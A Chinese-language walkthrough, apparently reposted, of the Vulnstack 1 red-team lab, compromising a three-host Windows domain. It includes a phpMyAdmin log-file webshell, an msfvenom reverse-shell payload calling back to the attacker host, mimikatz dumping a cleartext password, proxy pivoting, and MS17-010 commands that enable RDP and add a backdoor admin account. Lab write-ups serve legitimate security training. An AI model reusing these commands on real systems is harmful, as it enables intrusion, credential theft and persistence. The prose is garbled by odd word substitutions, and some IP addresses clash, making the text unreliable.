目录
媒介
这个靶场是红日安全团队推出的红队实战系列第一个靶场,其中包括了漏洞使用、内网搜集、横向移动、构建通道、持久控制等多个环节。是一个不错的学习内网渗出的环境,这里仅记录我的打靶学习过程。
环境搭建
靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
文件下载下来有三个压缩包,分别对应域中三台主机:
- vulnstack-win7 对应Windows 7是Web服务器
- vulnstack-Win2K3 Metasploitable 对应Windows Server 2003是域成员
- vulnstack-winserver08 对应Windows Server 2008是域控
网络拓扑示意图:
假造机网络配置:
- Web服务器(Windows 7):需配置为双网卡模式,网络适配器设置为自界说(VMnet1仅主机模式),另外再添加一个网络适配器设置为NAT模式
- 域成员(Windows Server 2003):网络适配器设置为自界说(VMnet1仅主机模式)
- 域控(Windows Server 2008):网络适配器设置为自界说(VMnet1仅主机模式)
- 攻击机(Kali):设置为NAT模式
此时Windows 7和Windows 2003及Windows Server 2008处于同一内网中,kali仅可以访问到windows 7。
假造机IP地址分配:
- kali:外网 192.168.88.128
- Windows 7:外网 192.168.88.137,内网 193.168.52.143
- Windows Server 2003:内网 192.168.52.141
- Windows Server 2008:内网 192.168.52.138
启动Windows 7的C盘下的phpstudy开启web服务,外网可访问:
如果出现错误“phpstudy已经停止工作”,办理方案参考:https://blog.csdn.net/qq_43871179/article/details/125307581
全部都准备完毕以后就可以开始渗出了!
外围打点
信息收集
主机发现:
端口扫描:
首先使用nmap扫一下web服务器的ip地址:
扫到了一个80端口,访问80端口,发现是一个phpStudy探针页面:
袒露了网站绝对路径为C:/phpStudy/WWW,php版本为5.4.45,GPC关闭,支持数据库等信息,底部还有MySQL数据库连接检测的功能。
继续使用nmap扫一下MySQL数据3306端口是否袒露:
可以确定3306端口对公网袒露,测试弱口令root/root是否可以连接数据库:
数据库连接正常:
目录扫描:
继续使用dirsearch扫描一下网站目录:
发现存在phpmyadmin目录。
phpmyadmin全局日志getshell
使用弱口令root/root对phpmyadmin举行登录:
登录乐成,实验是否可以直接写入一句话木马,查看体系变量secure_file_priv的值:
此处的变量值为NULL,即没设置允许操作的目录,以是没法导入和导出到文件。
试试看能不能通过日志文件来写入一句话木马,查看全局变量general_log和genera_log_file的值:
此处全局日志功能是关闭的,若开启后,执行过的sql语句都会保存到stu1.log文件。以是这里开启全局日志,并根据前面网站根目录将日志保存位置修改为C:/phpStudy/WWW/shell.php- set global general_log=on;
- set global general_log_file='C:/phpStudy/WWW/shell.php';
复制代码 再次查询全局变量:
查询一句话木马select '';写入日志:
使用蚁剑连接一句话木马http://192.168.88.137/shell.php:
在根目录可以看到除了phpmyadmin,还有一个cms体系yxcms和一个备份文件beifen.rar,到这里后台getshell完成。
内网信息收集
msf上线
通过msf天生一个反弹连接的木马cc.exe:- msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f exe -o cc.exe
复制代码
将msf木马上传至Win7主机(没有杀软不用免杀):
Kali本机使用msf开启监听模式:- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set lhost 192.168.88.128
- run
复制代码
使用蚁剑的假造终端执行网站根目录下的cc.exe木马,之后乐成获取meterpreter shell:
到这很顺利,基本拿下了web服务器,接下来继续对内网举行渗出。
mimikatz抓取明文密码
通常获取meterpreter shell之后是一个低权限,需要举行提权。但是靶场环境比较简朴,使用getuid下令获取到当前的用户是管理员账号GOD\Administrator,而且使用getsystem下令实验自动提权,很容易就提升到了system权限。
如今是一个比较高的权限,以是直接使用mimikatz来抓取明文密码(mimikatz模块已经合并为kiwi模块,使用kiwi模块需要system权限)。
查看当前体系信息,可以看出目标体系是64位的:
kiwi模块同时支持32位和64位的体系,但是该模块默认是加载32位的体系,以是如果目标主机是64位体系的话,直接默认加载该模块会导致很多功能无法使用,将meterpreter进程迁移到一个64位步调的进程中,才能加载kiwi而且查看体系明文。
查看当前进程列表,可以看出lsass进程是以system权限运行,PID为504:
如今需要把meterpreter shell进程迁移到PID为504的lsass.exe进程里:
接着加载kiwi模块,枚举所有凭据:
看到获取到的Administrator的明文密码为hongrisec@2019。
可以开启3389端口长途桌面,关闭防火墙,再使用明文口令长途桌面登录这台Web服务器,但是我们已经拿到system权限的shell,以是显得有点多此一举。
域信息收集
域信息的收集就主要包括域内主机体系信息收集,网络拓扑信息收集,漏洞信息收集等。
这里使用shell切换到目标主机的cmd(chcp 65001可以避免cmd字符中文乱码):
使用systeminfo获取主机具体信息:
使用net config Workstation下令查看当前计算机名称以及所在的工作站域等信息:
使用net group /domain下令查看域内所有用户列表(system权限):
使用net group "domain computers" /domain下令查看域成员计算机列表(system权限):
使用net group "domain admins" /domain下令查看域管理员用户(system权限):
综上可以基本判断出:
当前用户是管理员账号GOD\Administrator,当前主机内网ip地址为192.168.52.137,内网网段为192.168.52.0/24,当前域为god.org,本机计算机名称是stu1,域管理员用户是OWA,另外还有两个域用户DEV1和ROOT-TVI862UBEH。
通常我们是不清晰内网拓扑的,以是这里先不着急,继续深入收集内网主机的信息。
如今已知内网网段为192.168.52.0/24,查看arp缓存表,发现另外两台内网主机ip地址分别为192.168.52.138和192.168.52.141,但是如今还不能确定它们的身份。
好消息是Win7已经安装了nmap工具,以是不需要再手动安装了,可以进一步针对192.168.52.0/24内网网段举行信息收集。
对内网网段举行nmap扫描:- cd C:\Program Files (x86)\Nmap && nmap.exe -sS -T4 -A 192.168.52.0/24
复制代码 拿到了一共三台主机的扫描信息:
192.168.52.138:- Nmap scan report for 192.168.52.138
- Host is up (0.00s latency).
- Not shown: 982 filtered ports
- PORT STATE SERVICE VERSION
- 53/tcp open domain Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
- | dns-nsid:
- |_ bind.version: Microsoft DNS 6.1.7601 (1DB1446A)
- 80/tcp open http Microsoft IIS httpd 7.5
- | http-methods:
- |_ Potentially risky methods: TRACE
- |_http-server-header: Microsoft-IIS/7.5
- |_http-title: IIS7
- 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-20 12:59:44Z)
- 135/tcp open msrpc Microsoft Windows RPC
- 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
- 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: god.org, Site: Default-First-Site-Name)
- 445/tcp open microsoft-ds Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds (workgroup: GOD)
- 464/tcp open kpasswd5?
- 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
- 636/tcp open tcpwrapped
- 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: god.org, Site: Default-First-Site-Name)
- 3269/tcp open tcpwrapped
- 49154/tcp open msrpc Microsoft Windows RPC
- 49155/tcp open msrpc Microsoft Windows RPC
- 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
- 49158/tcp open msrpc Microsoft Windows RPC
- 49161/tcp open msrpc Microsoft Windows RPC
- 49167/tcp open msrpc Microsoft Windows RPC
- MAC Address: 00:0C:29:22:33:12 (VMware)
- Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
- Device type: general purpose|specialized|phone
- Running: Microsoft Windows 2008|8.1|7|Phone|Vista
- OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
- OS details: Microsoft Windows Server 2008 R2 or Windows 8.1, Microsoft Windows 7 Professional or Windows 8, Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0, Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008
- Network Distance: 1 hop
- Service Info: Host: OWA; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
- Host script results:
- |_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s
- |_nbstat: NetBIOS name: OWA, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:22:33:12 (VMware)
- | smb-os-discovery:
- | OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)
- | OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
- | Computer name: owa
- | NetBIOS computer name: OWA\x00
- | Domain name: god.org
- | Forest name: god.org
- | FQDN: owa.god.org
- |_ System time: 2024-06-20T21:02:17+08:00
- | smb-security-mode:
- | account_used: <blank>
- | authentication_level: user
- | challenge_response: supported
- |_ message_signing: required
- | smb2-security-mode:
- | 2.02:
- |_ Message signing enabled and required
- | smb2-time:
- | date: 2024-06-20T13:02:17
- |_ start_date: 2024-06-19T14:33:31
- TRACEROUTE
- HOP RTT ADDRESS
- 1 0.00 ms 192.168.52.138
复制代码 可以看到192.168.52.138操作体系是Windows Server 2008 R2,计算机名是owa,以是基本可以确定192.168.52.138就是域控。
192.168.52.141:- Nmap scan report for 192.168.52.141
- Host is up (0.00s latency).
- Not shown: 987 closed ports
- PORT STATE SERVICE VERSION
- 21/tcp open ftp Microsoft ftpd
- |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
- | ftp-syst:
- |_ SYST: Windows_NT
- 135/tcp open msrpc Microsoft Windows RPC
- 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
- 445/tcp open microsoft-ds Windows Server 2003 3790 microsoft-ds
- 777/tcp open multiling-http?
- 1025/tcp open msrpc Microsoft Windows RPC
- 1028/tcp open msrpc Microsoft Windows RPC
- 1029/tcp open msrpc Microsoft Windows RPC
- 1030/tcp open msrpc Microsoft Windows RPC
- 6002/tcp open http SafeNet Sentinel Protection Server 7.3
- |_http-server-header: SentinelProtectionServer/7.3
- |_http-title: Sentinel License Monitor
- 7001/tcp open afs3-callback?
- 7002/tcp open http SafeNet Sentinel Keys License Monitor httpd 1.0 (Java Console)
- |_http-server-header: SentinelKeysServer/1.0
- |_http-title: Sentinel Keys License Monitor
- 8099/tcp open http Microsoft IIS httpd 6.0
- |_http-server-header: Microsoft-IIS/6.0
- |_http-title: The page must be viewed over a secure channel
- 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
- SF-Port777-TCP:V=7.80%I=7%D=6/20%Time=667427F4%P=i686-pc-windows-windows%r
- SF:(TerminalServerCookie,A,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(Kerberos,
- SF:5,"\x01\0\t\xe0\x06")%r(SMBProgNeg,5,"\x01\0\t\xe0\x06")%r(TerminalServ
- SF:er,A,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(WMSRequest,5,"\x01\0\t\xe0\x
- SF:06");
- MAC Address: 00:0C:29:1B:B5:0A (VMware)
- Device type: general purpose
- Running: Microsoft Windows XP|2003
- OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o:microsoft:windows_server_2003
- OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
- Network Distance: 1 hop
- Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003
- Host script results:
- |_clock-skew: mean: -3h59m59s, deviation: 5h39m23s, median: -7h59m58s
- |_nbstat: NetBIOS name: ROOT-TVI862UBEH, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:1b:b5:0a (VMware)
- | smb-os-discovery:
- | OS: Windows Server 2003 3790 (Windows Server 2003 5.2)
- | OS CPE: cpe:/o:microsoft:windows_server_2003::-
- | Computer name: root-tvi862ubeh
- | NetBIOS computer name: ROOT-TVI862UBEH\x00
- | Domain name: god.org
- | Forest name: god.org
- | FQDN: root-tvi862ubeh.god.org
- |_ System time: 2024-06-20T21:02:19+08:00
- | smb-security-mode:
- | account_used: guest
- | authentication_level: user
- | challenge_response: supported
- |_ message_signing: disabled (dangerous, but default)
- |_smb2-time: Protocol negotiation failed (SMB2)
- TRACEROUTE
- HOP RTT ADDRESS
- 1 0.00 ms 192.168.52.141
复制代码 可以看到192.168.52.141操作体系是Windows Server 2003,计算机名为root-tvi862ubeh,以是也基本可以确定192.168.52.141是另一个域成员。
192.168.52.143:- Nmap scan report for www.qiyuanxuetang.net (192.168.52.143)
- Host is up (0.00s latency).
- Not shown: 989 closed ports
- PORT STATE SERVICE VERSION
- 80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
- |_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
- |_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014
- 135/tcp open msrpc Microsoft Windows RPC
- 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
- 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD)
- 1025/tcp open msrpc Microsoft Windows RPC
- 1026/tcp open msrpc Microsoft Windows RPC
- 1027/tcp open msrpc Microsoft Windows RPC
- 1028/tcp open msrpc Microsoft Windows RPC
- 1029/tcp open msrpc Microsoft Windows RPC
- 1117/tcp open msrpc Microsoft Windows RPC
- 3306/tcp open mysql MySQL (unauthorized)
- Device type: general purpose
- Running: Microsoft Windows 8.1|7|2008
- OS CPE: cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2
- OS details: Microsoft Windows 7 or 8.1 R1 or Server 2008 R2 SP1
- Network Distance: 0 hops
- Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows
- Host script results:
- |_clock-skew: mean: -2h40m00s, deviation: 4h37m07s, median: 0s
- |_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:01:5e:ae (VMware)
- | smb-os-discovery:
- | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
- | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
- | Computer name: stu1
- | NetBIOS computer name: STU1\x00
- | Domain name: god.org
- | Forest name: god.org
- | FQDN: stu1.god.org
- |_ System time: 2024-06-20T21:04:10+08:00
- | smb-security-mode:
- | account_used: guest
- | authentication_level: user
- | challenge_response: supported
- |_ message_signing: disabled (dangerous, but default)
- | smb2-security-mode:
- | 2.02:
- |_ Message signing enabled but not required
- | smb2-time:
- | date: 2024-06-20T13:04:10
- |_ start_date: 2024-06-19T15:38:20
- Post-scan script results:
- | clock-skew:
- | -2h39m59s:
- | 192.168.52.138
- |_ 192.168.52.143 (www.qiyuanxuetang.net)
- OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
- Nmap done: 256 IP addresses (3 hosts up) scanned in 325.12 seconds
复制代码 192.168.52.143也就是win7本机,计算机名为stu1。
接着使用nmap的脚本举行内网漏洞的扫描:- nmap --script=vuln -p 1-65535 192.168.52.143
复制代码
扫描发现win7(192.168.52.143)存在ms17-010漏洞。- nmap --script=vuln -p 1-65535 192.168.52.141
复制代码
扫描发现域成员(192.168.52.141)存在MS08-067和ms17-010漏洞。- nmap --script=vuln -p 1-65535 192.168.52.138
复制代码
扫描发现域控(192.168.52.138)同样存在ms17-010漏洞。
内网信息的收集到这就基本差不多了,因为Web服务器上来就拿到了管理员system权限,以是说难度降低了不少。
横向移动
如今拿到了Web服务器的meterpreter shell,但是还不能直接访问内网网段。需要添加到目标环境网络的路由,才能使msf可以通过Win7转发访问192.168.25.0/24网段。
使用run get_local_subnets取目标内网相关信息:
添加去往192.168.52.0/24网段的路由信息:- run autoroute -s 192.168.52.0/24
复制代码
实际上直接添加到0.0.0.0/0的路由也可以,Win7主机可达msf也都可以达。
msf+proxychains搭建socks5隧道
添加socks代理:
当前使用msf自带的模块对内网的主机举行探测时,msf的流量会根据路由信息直接送到对应的目标网段。但如果使用kali上其他的渗出工具,则需要一个代理帮助转发流量。这里就使用msf作为代理,由msf的路由将流量带入到内网中。具体做法就是加一个socks代理模块,监听本地的端口,然后再通过这个端口将流量转给msf即可。
我使用的是msf6环境,使用socks5代理模块:
- use auxiliary/server/socks_proxy
- set srvhost 127.0.0.1
- run
- # 默认监听在1080端口
复制代码
编辑/etc/proxychains.conf文件加上socks5代理服务器和端口:
试一试proxychains4代理本地的nmap能否扫到内网的域控:
- proxychains4 nmap -sT -Pn 192.168.52.138 -p 445
复制代码 看到可以乐成访问,但是需要注意的时proxychains4只对tcp流量转发,以是udp和icmp都不能代理转发。以是使用使用proxychains4代理nmap扫描主机时,必须加上-sT和-Pn两个参数。
MS08-067漏洞使用
根据前面信息收集的漏洞扫描效果发现域成员Windows 2003开启了445端口SMB服务,同时也存在MS08-067和MS17-010两个漏洞。
先来看看MS08-067漏洞的使用:
MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者使用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,长途过程调用)请求,造成栈缓冲区内存错误,从而被使用实施长途代码执行。
它影响了某些旧版本的Windows体系,包括:Windows 2000,Windows XP,Windows Server 2003
直接搜一下MS08-067漏洞的exp:
将payload设置为常规的反向tcp连接,试了几次都不乐成:
发现有路由,但是ping不通目标主机:
原因很有可能就是只有过去的路由,没有回来的路由,目标主机无法直接连接到攻击机,以是说反向连接行不通。
将payload设置为正向tcp连接bind_tcp试一试:- use exploit/windows/smb/ms08_067_netapi
- set rhost 192.168.52.141
- set payload windows/meterpreter/bind_tcp
- set lport 4444
- run
复制代码 采用正向tcp连接到445端口,proxychains代理nmap扫描445端口状态正常:
效果还是出现了问题,试了很多次始终无法正常连接(应该不是防火墙的问题),换了其他的正向payload还是无法乐成。。。有可能是我的msf版本比较高导致的无法正常连接。
参考:https://www.cnblogs.com/huaweiyun/p/15559938.html
MS17-010漏洞使用
前面的ms08-067漏洞暂时没有好的使用方案,继续另一个ms17-010漏洞。
永恒之蓝漏洞(ms17-010)是在445端口的SMB服务处置惩罚SMBv1请求时存在缓冲区溢出,造发展途代码执行漏洞,受影响的Windows版本有很多。
msf搜到的ms17-010漏洞exp有5种:
挨个试一试:
第一个exploit/windows/smb/ms17_010_eternalblue模块:
很明显不可,Windows server 2003是32位的,这个模块只支持64的体系。
第二个exploit/windows/smb/ms17_010_psexec模块,payload还是采用正向tcp连接:
仍然无法有效获取会话。
第三个auxiliary/admin/smb/ms17_010_command模块执行下令:- use auxiliary/admin/smb/ms17_010_command
- set rhosts 192.168.52.141
- set command whoami
- run
复制代码
执行下令可以乐成,可以实验通过执行下令,开启3389端口举行长途桌面登录:
依次执行:- #开启3389端口
- set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
- #添加用户
- set command net user blckder02 8888! /add
- #添加管理员权限
- set command net localgroup administrators blckder02 /add
复制代码
然后使用添加的用户登录:- proxychains rdesktop 192.168.52.141
复制代码
前面通过执行whoami下令回显的是sysytem权限,基本上这台域成员就已经拿下了。
获取域控服务器
根据前面信息收集的漏洞扫描效果域控服务器存在MS17-010漏洞,exploit/windows/smb/ms17_010_eternalblue模块和exploit/windows/smb/ms17_010_psexec模块正向连接仍然不好使。
下令执行模块auxiliary/admin/smb/ms17_010_command有效果:- use auxiliary/admin/smb/ms17_010_command
- set rhosts 192.168.52.138
- set command whoami
- run
复制代码
以是接下来和windows server 2003主机的操作一样了,使用开启3389端口长途桌面登录。
靶场的文档里面还提到了WMI使用拿下域控的方法,需要准备一个vmiexec.vbs脚本和一些其他工具,显得复杂一些。
总结
整个打靶过程还是有不少收获的,整个过程大致就是,弱口令登录phpmyadmin,使用日志文件写入一句话木马,Web服务器getshell,使用msf反弹shell,内网扫描信息收集,流量代理转发,最后使用ms17_010漏洞拿下域成员和域控服务器。
实在靶场提供的漏洞环境远不止这些,还有redis getshell,MySQL提权,单子传递等,背面后单独复现一下,这次记录就到这里,共勉!
若有错误,接待指正!o( ̄▽ ̄)ブ
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |